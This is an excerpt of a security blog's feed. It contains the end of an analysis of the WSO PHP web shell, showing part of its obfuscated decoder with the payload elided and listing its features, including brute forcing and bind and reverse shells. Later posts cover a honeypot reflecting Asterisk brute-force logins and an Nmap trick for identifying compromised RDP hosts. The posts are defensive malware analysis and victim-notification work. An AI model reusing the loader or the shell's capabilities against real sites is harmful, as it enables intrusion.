</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span> <span style="color:#39c">+=</span> ord(<span style="color:#00cdcd">$input</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>]) <span style="color:#39c">+</span> <span style="color:#cd00cd">16</span>;
</span></span><span style="display:flex;"><span>                                        <span style="color:#cdcd00">for</span> (<span style="color:#00cdcd">$T17D35BB9DF7A47E4</span> <span style="color:#39c">=</span> <span style="color:#cd00cd">0</span>; <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span> <span style="color:#39c">&lt;</span> <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span>; <span style="color:#00cdcd">$T7C7E72B89B83E235</span>[<span style="color:#00cdcd">$T77605D5F26DD5248</span> <span style="color:#39c">+</span> <span style="color:#00cdcd">$T17D35BB9DF7A47E4</span><span style="color:#39c">++</span>] <span style="color:#39c">=</span> <span style="color:#00cdcd">$input</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span>]);
</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>;
</span></span><span style="display:flex;"><span>                                        <span style="color:#00cdcd">$T77605D5F26DD5248</span> <span style="color:#39c">+=</span> <span style="color:#00cdcd">$TA7FB8B0A1C0E2E9E</span>;
</span></span><span style="display:flex;"><span>                                }
</span></span><span style="display:flex;"><span>                        }
</span></span><span style="display:flex;"><span>                        <span style="color:#cdcd00">else</span> <span style="color:#00cdcd">$T7C7E72B89B83E235</span>[<span style="color:#00cdcd">$T77605D5F26DD5248</span><span style="color:#39c">++</span>] <span style="color:#39c">=</span> <span style="color:#00cdcd">$input</span>[<span style="color:#00cdcd">$TBF14159DC7D007D3</span><span style="color:#39c">++</span>];
</span></span><span style="display:flex;"><span>                        <span style="color:#00cdcd">$T65CE9F6823D588A7</span> <span style="color:#39c">&lt;&lt;=</span> <span style="color:#cd00cd">1</span>;
</span></span><span style="display:flex;"><span>                        <span style="color:#00cdcd">$T4A747C3263CA7A55</span><span style="color:#39c">--</span>;
</span></span><span style="display:flex;"><span>                        <span style="color:#cdcd00">if</span> (<span style="color:#00cdcd">$TBF14159DC7D007D3</span> <span style="color:#39c">==</span> <span style="color:#00cdcd">$input_length</span>) {
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$file_contents</span> <span style="color:#39c">=</span> implode(<span style="color:#cd0000">&#34;&#34;</span>, <span style="color:#00cdcd">$T7C7E72B89B83E235</span>);
</span></span><span style="display:flex;"><span>                                <span style="color:#00cdcd">$file_contents</span> <span style="color:#39c">=</span> <span style="color:#cd0000">&#34;?&#34;</span> <span style="color:#39c">.</span> <span style="color:#cd0000">&#34;&gt;&#34;</span> <span style="color:#39c">.</span> <span style="color:#00cdcd">$file_contents</span>;
</span></span><span style="display:flex;"><span>                                <span style="color:#cdcd00">return</span> <span style="color:#00cdcd">$file_contents</span>;
</span></span><span style="display:flex;"><span>                        }
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#cdcd00">print</span>(TC9A16C47DA8EEE87(<span style="color:#cd0000">&#34;QAIAPD9waHAgABEkY2...[approximately 40,000 characters]...QF8MISgnAr8CsQkgSFB0AHA/Pg==&#34;</span>)); <span style="color:#000080">?&gt;</span><span style="">
</span></span></span></code></pre></div>
<p>As I looked at the code, I realized that they were trying some&hellip; well&hellip; really crappy de-obfuscation protection stuff, that was trivial to bypass:</p>
<ul>
<li>I commented out the stuff that checked to see if I had altered the code by adding &ldquo;print,&rdquo; &ldquo;sprint,&rdquo; or &ldquo;echo&rdquo; commands</li>
<li>I fixed it so it opened the original, unaltered file with file_get_contents()</li>
<li>I changed the &ldquo;eval()&rdquo; function to &ldquo;print()&rdquo; (take that, silly hackerz&hellip;)</li>
</ul>
<p>A quick review of the remaining variables shows that they all represent, essentially, integer values. The only non-integer variables ($T7C7E72B89B83E235, $input, and $file_contents) appeared to never be used in a context where they could, potentially, execute code, so I decided to junk the idea of writing my own &ldquo;decoding&rdquo; tool and&hellip; well&hellip; do something that I never recommend you do: I felt pretty confident that I could just run the altered script without it having any malicious side-effects. So I did just that.</p>
<p>It dumped out an enormous mess of - once again - ugly code. I &ldquo;beautified&rdquo; that, and I was going to include it in this post, but it&rsquo;s kinda enormous and makes the page a bit unwieldy. If you&rsquo;re really interested, you can download the &ldquo;final&rdquo; version of the decoded PHP <a href="attack.php">here</a>. (Note: I&rsquo;ve ever-so-subtly altered the code in a few places so it can&rsquo;t be used as an RFI from my site&hellip; so&hellip; don&rsquo;t try that, stupid hackerz, mmmkay?)</p>
<p>From the code, WSO appears to be a very powerful remote &ldquo;administration&rdquo; tool, giving the attacker the ability to perform dozens of sysadmin-type functions, from managing files to having direct &ldquo;command&rdquo; access on the box&hellip;</p>
<p>After perusing the code for a bit, I decided that I wanted to see WSO in action. I moved the file onto an isolated VM with Apache + PHP installed to give it a try. (I thought it would be easier to ‘sploit myself than it turned out to be. When I set up the server, I had configured PHP to be secure&hellip; or as secure as PHP can be. I tried, and failed, to launch WSO by creating a PHP page that was vulnerable to RFI using <code>http://localhost/attack.php</code> as my target, only to find that my PHP settings prohibited using a URI in an include (<code>allow_url_include = False</code>). I considered monkeying with the settings but decided that I really just wanted to get it running, and that the &ldquo;realism&rdquo; of whatever mechanism I used to launch it didn&rsquo;t really matter. However, the lesson here is that the <code>allow_url_include</code> setting is an incredibly important security &ldquo;backstop.&rdquo;</p>
<p>The shell can run under Windows or Linux, but appears to have a much greater functionality under Linux.</p>
<p><img src="php_rfi.png" alt="WSO Screenshot"></p>
<p>As configured, WSO defaults to using the &ldquo;Files&rdquo; tool. With this full featured file manager, an attacker can do the standard copy, move, and delete as well as edit, compress, uncompress, chmod, chown, touch, rename, and view files as hex or - for code - with syntax highlighting. WSO also has built-in functionality allowing it to search for suid/sgid files, writable files/directories, .htpasswd, .bash_history, various config files, .sql files, etc&hellip;, etc&hellip;</p>
<p>The <code>Sec. Info</code> function tells you all about various security settings on the system (Apache modules, disabled PHP functions, etc&hellip;) as well as information about what installed programs could be a problem and what installed programs could be helpful.</p>
<p>The <code>Console</code> function does pretty much what you would expect: gives you access to an interactive console complete with ajaxy goodness.</p>
<p>The <code>Sql</code> function gives you a full SQL browser complete with support for both MySQL and PostgreSql.</p>
<p>The <code>Php</code> function provides a PHP execution environment that is - again - full of ajaxy goodness.</p>
<p>The <code>Safe mode</code> function provides tools for bypassing PHP&rsquo;s &ldquo;Safe Mode&rdquo; - all of which appear to work quite well&hellip;</p>
<p>Because you never know when you&rsquo;re gonna want to lay down your text in multiple formats, the <code>String Tools</code> function gives you the ability to do Base64 encode/decode, Url encode/decode, md5 hash, sha1 hash, CRC32, crypt, etc&hellip;, etc&hellip;</p>
<p>The <code>Bruteforce</code> function provides an FTP, MySQL, and PostgreSQL brute forcer. Just upload your dictionary, point it somewhere, and let ‘er rip.</p>
<p>If you&rsquo;re tired of doing your attack through the browser, why not try the <code>Network</code> function that lets you use built-in perl code to bind a shell to a port, or shovel a shell back to you?</p>
<p>And finally, if the jig is up and you need to beat a hasty retreat, just fire off the <code>Self remove</code> function and it&rsquo;ll be like nothin&rsquo; ever happened.</p>
<p>Overall, the WSO tool appears to be robust, powerful, and very well written and is a wonderful reminder of just how dangerous remote file inclusion vulnerabilities can be.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 27, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/toyz" term="toyz" label="toyz" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Stoopid *]]></title>
            <link href="https://yourflyis0pen.com/article/stoopid/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/doh/?utm_source=atom_feed" rel="related" type="text/html" title="Doh!" />
                <link href="https://yourflyis0pen.com/article/partly-cloudy/?utm_source=atom_feed" rel="related" type="text/html" title="Partly Cloudy With a Chance of a Colon Clense" />
                <link href="https://yourflyis0pen.com/article/alright/?utm_source=atom_feed" rel="related" type="text/html" title="The Kids Are OK OK OK OK OK OK OK" />
                <link href="https://yourflyis0pen.com/article/mirror/?utm_source=atom_feed" rel="related" type="text/html" title="Mirror, mirror on the &#39;Net..." />
            
                <id>https://yourflyis0pen.com/article/stoopid/</id>
            
            
            <published>2016-05-24T16:48:53-06:00</published>
            <updated>2016-05-24T16:48:53-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>Mirrors are a wonderful invention.</p>
<p>Without mirrors, where would those of us who are self-absorbed sit, gazing fondly? Without mirrors, no one would be able to tie a necktie, neatly part their hair, or pop a zit.</p>
<p>Mirrors help us safely answer the age-old question that has been the bane of husbands since the dawn of time: &ldquo;Do these jeans make my butt look big?&rdquo; (Answer: <em>&ldquo;Well dear, I certainly don&rsquo;t think so, but perhaps you should look in the mirror and see for yourself&hellip;&rdquo;</em>)</p>
<p><img src="fashion-of-the-90s.jpg" alt="Early 90s &ldquo;Fashion&rdquo;">
<em>Apparently, during the early 90&rsquo;s all of the mirrors in the world were temporarily broken.</em></p>
<p>I&rsquo;ve been having a lot of fun playing around with a mirror of my own. This mirror doesn&rsquo;t reflect light, however&hellip; it reflects TCP connections. I&rsquo;ve already described the fun of watching it reflecting telnet sessions (see <a href="https://yourflyis0pen.com/article/mirror/">Mirror, mirror on the net&hellip; just how stoopid can they get?</a>) so I decided to broaden the &ldquo;mirroring scope&rdquo; a bit to encompass some other protocols.</p>
<p>Earlier today, I started reflecting login attempts against Asterisk. (From the <a href="https://www.asterisk.org">Asterisk.org</a> website: Asterisk is an open source framework for building communications applications. Asterisk turns an ordinary computer into a communications server. Asterisk powers IP PBX systems, VoIP gateways, conference servers and other custom solutions. It is used by small businesses, large businesses, call centers, carriers and government agencies, worldwide. Asterisk is free and open source.)</p>
<p>Here&rsquo;s how a typical mirrored attack goes. (Note: the IP addressses and source ports have been changed both to protect the semi-innocent and to make it easier to follow along. In this instance, 192.168.1.1 is my honeypot - running the TCP mirror - and 10.0.0.1 is the attacker).</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>1  IP 10.0.0.1.11111 &gt; 192.168.1.1.5038: Flags [S], seq 1883842728, win 29200, length 0
</span></span><span style="display:flex;"><span>2  IP 192.168.1.1.5038 &gt; 10.0.0.1.11111: Flags [S.], seq 1877060720, ack 1883842729, win 28960, length 0
</span></span><span style="display:flex;"><span>3  IP 10.0.0.1.11111 &gt; 192.168.1.1.5038: Flags [.], ack 1, win 229, length 0
</span></span><span style="display:flex;"><span>4  IP 192.168.1.1.22222 &gt; 10.0.0.1.5038: Flags [S], seq 3930485646, win 29200, length 0
</span></span><span style="display:flex;"><span>5  IP 10.0.0.1.5038 &gt; 192.168.1.1.22222: Flags [S.], seq 150190901, ack 3930485647, win 28960, length 0
</span></span><span style="display:flex;"><span>6  IP 192.168.1.1.22222 &gt; 10.0.0.1.5038: Flags [.], ack 1, win 229, length 0
</span></span><span style="display:flex;"><span>7  IP 10.0.0.1.5038 &gt; 192.168.1.1.22222: Flags [P.], seq 1:28, ack 1, win 227, length 27
</span></span><span style="display:flex;"><span>                                         Asterisk Call Manager/1.1\r\n
</span></span><span style="display:flex;"><span>8  IP 192.168.1.1.22222 &gt; 10.0.0.1.5038: Flags [.], ack 28, win 229, length 0
</span></span><span style="display:flex;"><span>9  IP 192.168.1.1.5038 &gt; 10.0.0.1.11111: Flags [P.], seq 1:28, ack 1, win 227, length 27
</span></span><span style="display:flex;"><span>                                         Asterisk Call Manager/1.1\r\n
</span></span><span style="display:flex;"><span>10 IP 10.0.0.1.11111 &gt; 192.168.1.1.5038: Flags [.], ack 28, win 229, length 0
</span></span><span style="display:flex;"><span>11 IP 10.0.0.1.11111 &gt; 192.168.1.1.5038: Flags [P.], seq 1:66, ack 28, win 229, length 65
</span></span><span style="display:flex;"><span>                                         Action: Login\r\n
</span></span><span style="display:flex;"><span>                                         Username: pratik\r\n
</span></span><span style="display:flex;"><span>                                         Secret: secret5\r\n
</span></span><span style="display:flex;"><span>                                         Events: off\r\n\r\n
</span></span><span style="display:flex;"><span>12 IP 192.168.1.1.5038 &gt; 10.0.0.1.11111: Flags [.], ack 66, win 227, length 0
</span></span><span style="display:flex;"><span>13 IP 192.168.1.1.22222 &gt; 10.0.0.1.5038: Flags [P.], seq 1:66, ack 28, win 229, length 65
</span></span><span style="display:flex;"><span>                                         Action: Login\r\n
</span></span><span style="display:flex;"><span>                                         Username: pratik\r\n
</span></span><span style="display:flex;"><span>                                         Secret: secret5\r\n
</span></span><span style="display:flex;"><span>                                         Events: off\r\n\r\n
</span></span><span style="display:flex;"><span>14 IP 10.0.0.1.5038 &gt; 192.168.1.1.22222: Flags [.], ack 66, win 227, length 0
</span></span><span style="display:flex;"><span>15 IP 10.0.0.1.5038 &gt; 192.168.1.1.22222: Flags [P.], seq 28:45, ack 66, win 227, length 17
</span></span><span style="display:flex;"><span>                                         Response: Error\r\n
</span></span><span style="display:flex;"><span>16 IP 192.168.1.1.22222 &gt; 10.0.0.1.5038: Flags [.], ack 45, win 229, length 0
</span></span><span style="display:flex;"><span>17 IP 10.0.0.1.5038 &gt; 192.168.1.1.22222: Flags [FP.], seq 45:79, ack 66, win 227, length 34
</span></span><span style="display:flex;"><span>                                         Message: Authentication failed\r\n\r\n
</span></span><span style="display:flex;"><span>18 IP 192.168.1.1.5038 &gt; 10.0.0.1.11111: Flags [P.], seq 28:79, ack 66, win 227, length 51
</span></span><span style="display:flex;"><span>                                         Response: Error\r\n
</span></span><span style="display:flex;"><span>                                         Message: Authentication failed\r\n\r\n
</span></span><span style="display:flex;"><span>19 IP 192.168.1.1.22222 &gt; 10.0.0.1.5038: Flags [F.], seq 66, ack 80, win 229, length 0
</span></span><span style="display:flex;"><span>20 IP 192.168.1.1.5038 &gt; 10.0.0.1.11111: Flags [F.], seq 79, ack 66, win 227, length 0
</span></span><span style="display:flex;"><span>21 IP 10.0.0.1.11111 &gt; 192.168.1.1.5038: Flags [F.], seq 66, ack 80, win 229, length 0
</span></span><span style="display:flex;"><span>22 IP 192.168.1.1.5038 &gt; 10.0.0.1.11111: Flags [.], ack 67, win 227, length 0
</span></span><span style="display:flex;"><span>23 IP 10.0.0.1.5038 &gt; 192.168.1.1.22222: Flags [.], ack 67, win 227, length 0
</span></span></code></pre></div><ul>
<li>In packets 1, 2, and 3, we see a typical inbound TCP three-way handshake (syn, syn-ack, ack) sourcing from the attacking computer (I&rsquo;ve changed the port number of the attacker to 11111 to make it easier to follow).</li>
<li>Once the three-way handshake completes, we know for certain that this inbound connection isn&rsquo;t spoofed, so now, in packet 4, 5, and 6 the honeypot fires off it&rsquo;s own connection (from port 22222 to make it easier to follow) right back to the same port on the attacking system.</li>
<li>Once the three-way handshake for that connection completes, the service running on the attacker&rsquo;s system sends us back (packet 7) a greeting, (&ldquo;Asterisk Call Manager/1.1&rdquo;), which we ACK (packet 8) and then turn around and send back to the attacker (packet 9).</li>
<li>He ACKs our greeting (packed 10) and, satisified that he&rsquo;s talking to an Asterisk server, fires off a brute-force login attempt (packet 11).</li>
<li>We ACK that data (packet 12) and then fire that same login attempt back to the Asterisk server running on the attacker&rsquo;s system (packet 13).</li>
<li>The Asterisk server running on the attacker&rsquo;s system ACKs our data (packet 14) and then responds with an authentication error (packets 15 and 17)</li>
<li>We then turn that around and send it back to the attacking process (packet 18).</li>
<li>Both connections are gracefully closed (packets 19-23)</li>
</ul>
<p>Done and done&hellip;</p>
<p>I&rsquo;m keeping my eye on this attack, just waiting for the point in time where he hits the right username/secret combo to compromise himself&hellip;</p>
<p>Meanwhile, as I sit here waiting, I think I&rsquo;ll put my time to good use by gazing fondly upon this devestatingly handsome fellow I see before me in the&hellip; mirror.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 24, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Knock, Knock... Who's There?]]></title>
            <link href="https://yourflyis0pen.com/article/knock/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/doh/?utm_source=atom_feed" rel="related" type="text/html" title="Doh!" />
                <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="related" type="text/html" title="And... Who Are You?" />
                <link href="https://yourflyis0pen.com/article/adventures-in-databasing/?utm_source=atom_feed" rel="related" type="text/html" title="Adventures in Databasing" />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/the-russian-linking-rings/?utm_source=atom_feed" rel="related" type="text/html" title="The Russian Linking Rings" />
            
                <id>https://yourflyis0pen.com/article/knock/</id>
            
            
            <published>2016-05-23T16:30:45-06:00</published>
            <updated>2016-05-23T16:30:45-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>Attribution: It&rsquo;s one of the most difficult parts of trying to tell people, &ldquo;Hey&hellip; your fly is open.&rdquo;</p>
<p>I&rsquo;m not talking about the whole 21st century &ldquo;spin the big wheel of attack attribution&rdquo; game that various security firms like to play (&ldquo;Aaaaaaaand&hellip; ittttttsssss&hellip; CHINA, No! Wait! It looks like it might spin past CHINA and on to&hellip; NORTH KOREAAAAAAAAA!!&rdquo;)</p>
<p>What I&rsquo;m talking about here is real attack attribution. Identifying the owner of a compromised system that is attacking others on the ‘Net so I can contact them and get them to clean it up. It&rsquo;s about making the &lsquo;Net a better place, not about making headlines.</p>
<p>While I&rsquo;m sure that there is little to no guesswork involved in any of the high profile &ldquo;nation state&rdquo; attack attributions that have taken place over the past few years (cough, cough&hellip; The bad guys may be sophisticated enough to hack our systems, but they can&rsquo;t be smart enough to evade our monitoring, or to misdirect us into an incorrect attribution&hellip;)</p>
<p>Sadly, in my case, there&rsquo;s a lot of guesswork involved: WHOIS sucks in a plethora of ways, reverse-DNS rarely works, and abuse@ ISP emails are a frickin&rsquo; black hole.</p>
<p>It&rsquo;s tough, so I need to get a little creative at times.</p>
<p>Here&rsquo;s a little trick that has been fairly helpful with identifying compromised Windows systems being used for RDP brute-force scanning. Generally, those boxes have, themselves, been compromised by an RDP brute-force attack and oftentimes have only 3389/TCP open to the ‘Net.</p>
<p>Enter the pentester&rsquo;s BFF: Nmap.</p>
<p>I&rsquo;ve found it incredibly helpful to take a look at the SSL certificate that RDP connections use to identify the server you&rsquo;re connecting to. I&rsquo;ve tried reading through Microsoft&rsquo;s literature to figure out just how &ldquo;default&rdquo; support for RDP over SSL/TLS may be, but reading MS docs gives me a headache. I think that it&rsquo;s been the default since Windows 2003 SP1 (which makes me REALLY wonder about the systems I&rsquo;ve found that DON&rsquo;T seem to support SSL/TLS). In any case, grabbing the SSL cert (self-signed by default) will sometimes cue me into what the machine itself thinks it is called.</p>
<p>The problem is, out of the box, Nmap doesn&rsquo;t really consider port 3389/TCP a worthy target from which to gank SSL certificate details. We can fix this little oversight in a couple of different ways:</p>
<ol>
<li>We can force Nmap to run the &ldquo;ssl-cert&rdquo; script on a non-standard port, by putting a &ldquo;+&rdquo; in front of the script name:</li>
</ol>
<ul>
<li><code>sudo nmap --script=+ssl-cert -Pn -v -p 3389 ip address</code></li>
</ul>
<ol start="2">
<li>We can edit Nmap&rsquo;s &ldquo;shortport.lua&rdquo; script so it&rsquo;ll consider that port 3389/TCP might potentially be running SSL/TLS:</li>
</ol>
<ul>
<li>On my system, the path to the script is: /usr/share/nmap/nseLib/shortport.lua</li>
<li>Look for where local LIKELY_SSL_PORTS is defined, and add port 3389 to the list</li>
</ul>
<p>Either way, running the &ldquo;ssl-cert&rdquo; script against 3389/TCP will give you output like the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>Starting Nmap 6.00 ( http://nmap.org ) at 2016-05-23 15:25 UTC
</span></span><span style="display:flex;"><span>NSE: Loaded 1 scripts for scanning.
</span></span><span style="display:flex;"><span>NSE: Script Pre-scanning.
</span></span><span style="display:flex;"><span>Initiating Parallel DNS resolution of 1 host. at 15:25
</span></span><span style="display:flex;"><span>Completed Parallel DNS resolution of 1 host. at 15:25, 0.04s elapsed
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 15:25
</span></span><span style="display:flex;"><span>Scanning [REDACTED] ([REDACTED]) [1 port]
</span></span><span style="display:flex;"><span>Discovered open port 3389/tcp on [REDACTED]
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 15:25, 0.18s elapsed (1 total ports)
</span></span><span style="display:flex;"><span>NSE: Script scanning [REDACTED].
</span></span><span style="display:flex;"><span>Initiating NSE at 15:25
</span></span><span style="display:flex;"><span>Completed NSE at 15:25, 0.45s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for [REDACTED] ([REDACTED])
</span></span><span style="display:flex;"><span>Host is up (0.11s latency).
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE
</span></span><span style="display:flex;"><span>3389/tcp open  ms-wbt-server
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName=[REDACTED].local
</span></span><span style="display:flex;"><span>| Issuer: commonName=[REDACTED].local
</span></span><span style="display:flex;"><span>| Public Key type: rsa
</span></span><span style="display:flex;"><span>| Public Key bits: 2048
</span></span><span style="display:flex;"><span>| Not valid before: 2016-03-05 04:16:22
</span></span><span style="display:flex;"><span>| Not valid after:  2016-09-04 04:16:22
</span></span><span style="display:flex;"><span>| MD5:   5c91 9462 be4e 0bef 820f a8b4 0026 c932
</span></span><span style="display:flex;"><span>| SHA-1: ba2e 8bf0 a1a5 b14a ec96 49b3 2ae2 575d ba4b 5d66
</span></span><span style="display:flex;"><span>| -----BEGIN CERTIFICATE-----
</span></span><span style="display:flex;"><span>| MIIC+jCCAeKgAwIBAgIQH4J1F+xOgIpBJq67+uKwVzANBgkqhkiG9w0BAQUFADAm
</span></span><span style="display:flex;"><span>| MSQwIgYDVQQDExtQVENEQi5wZWFjaHRyZWVjZW50cmUubG9jYWwwHhcNMTYwMzA1
</span></span><span style="display:flex;"><span>| MDQxNjIyWhcNMTYwOTA0MDQxNjIyWjAmMSQwIgYDVQQDExtQVENEQi5wZWFjaHRy
</span></span><span style="display:flex;"><span>| ZWVjZW50cmUubG9jYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC0
</span></span><span style="display:flex;"><span>| CssawyOUM4nvB4MqGy3QbJTl8SvGbHMASLQIhr2YVQ8B3DYkQZFIuIRtOiAvLdNx
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>.
</span></span><span style="display:flex;"><span>| tVLLJ6nNYD8y/LKcrx4aZk7Re0fJuaF9yw49dQHAElXJMf+lQ0LdQMrjmcSQU9d6
</span></span><span style="display:flex;"><span>| aoYVfjE21arWw+M0+1GVFVy9lv2Y/qmuCV699YpVp43I+P9O+vVw8HQH82izB6iR
</span></span><span style="display:flex;"><span>| uTm2/CApQ6gDryN/wCvbat0bRA1u9Oab6oMUFEMoJzOFsczTMoIkKQSxY6ghrom6
</span></span><span style="display:flex;"><span>| dDnCkRCIID+HxQFUKQMdlCL4rgas4GO3We7aTtq7Fw7FZAR2jBy085uZq8+WbTld
</span></span><span style="display:flex;"><span>| cxmEqxtCr3hHHrULs3IZLup3sHi05z5diqQy3jF7UAonVlcq6XGyC1hVOk7ngA==
</span></span><span style="display:flex;"><span>|_-----END CERTIFICATE-----
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 1.37 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 1 (44B) | Rcvd: 1 (44B)
</span></span></code></pre></div><p>The &ldquo;common name&rdquo; found in that particular scan, coupled with some IP address geolocation information allowed me to contact some folks who had been compromised, making the Internet a safer place and getting me one step closer to the day when I am rightfully canonized by the Church of Flying the Spaghetti Monster as the Patron Saint of Compromised Hosts.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
May 23, 2016</p>
<p><em>Update: I&rsquo;ve since learned that this is fixed in the current version (7+) of Nmap. The &ldquo;fix&rdquo; is still relevant if you&rsquo;re running an older version of Nmap, and the idea of getting identifying information via RDP is always valid :-)</em></p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/tricks" term="tricks" label="tricks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/attribution" term="attribution" label="attribution" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rdp" term="rdp" label="rdp" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/tricks" term="tricks" label="tricks" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[And... Who Are You?]]></title>
            <link href="https://yourflyis0pen.com/article/and-who-are-you/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/adventures-in-databasing/?utm_source=atom_feed" rel="related" type="text/html" title="Adventures in Databasing" />
                <link href="https://yourflyis0pen.com/article/the-russian-linking-rings/?utm_source=atom_feed" rel="related" type="text/html" title="The Russian Linking Rings" />
                <link href="https://yourflyis0pen.com/article/ubiquiti-device-patch-now/?utm_source=atom_feed" rel="related" type="text/html" title="Ubiquiti Device? Patch Now..." />
                <link href="https://yourflyis0pen.com/article/those-crazy-belgians/?utm_source=atom_feed" rel="related" type="text/html" title="Those Crazy Belgians" />
            
                <id>https://yourflyis0pen.com/article/and-who-are-you/</id>
            
            
            <published>2016-05-18T16:18:25-06:00</published>
            <updated>2016-05-18T16:18:25-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>I really hate the phone calls&hellip; they are, unquestionably, the worst.</p>
<p>But sometimes, there isn&rsquo;t any other way to actually get someone to pay attention. Emails are deleted&hellip; Tweets are ignored&hellip; Sometimes it comes down to me picking up the phone and telling someone:</p>
<p><em>&ldquo;Hi. This is probably something that you don&rsquo;t want to hear&hellip; but your website has been hacked.&rdquo;</em></p>
<p>The reactions run the entire emotional gamut: from midly hostile to exceedingly hostile.</p>
<p><em>(Yes, I realize that&rsquo;s a somewhat limited range for a &ldquo;gamut.&rdquo;)</em></p>
<p>As a rule, we never want to think that we&rsquo;re one of <em>those</em> people - you know&hellip; <em>them</em>. Deep down inside we believe that we&rsquo;re good natured and emotionally balanced. We&rsquo;re not the kind of people who, when we&rsquo;re given bad news, will lash out&hellip; We&rsquo;re not someone who would <em>shoot the messenger</em>.</p>
<p>I&rsquo;m here to tell you: <em>Us messengers get shot at&hellip; a lot.</em></p>
<p>It&rsquo;s been about 16 years since I first began contacting people who have compromised systems, starting back when I first wrote LaBrea and caught worm-infected sytems in my very own tarpit.</p>
<p>The phone calls sucked a bit less back then. I think that the world has become collectively more &ldquo;scammy&rdquo; over the past 16 years, to the point that a sort of paranoia has infected nearly all of our interactions. There is a deep-seated suspiciousness that lingers in the background of any new conversation - like the &ldquo;stranger danger&rdquo; we&rsquo;ve taught our kids has come full circle.</p>
<p><em>&ldquo;And&hellip; who are you?&rdquo;</em></p>
<p>That&rsquo;s the question that I get asked the most. <em>Who are you to know that our website was hacked? How is it you know, when we don&rsquo;t?</em></p>
<p>I used to get offended by that question. When you think about it, there&rsquo;s a pretty nasty implication barely hiding behind those words: <em>Did you do this?</em></p>
<p><em>Yes. I admit it. I&rsquo;m the one that hacked your site. In fact, I&rsquo;m the person who hacks ALL the websites. I do it and then, in a fit of pique, I try to ease my guilty conscience by calling my victims and informing them what I&rsquo;ve done.</em></p>
<p><em>Because that makes total frickin&rsquo; sense&hellip;</em></p>
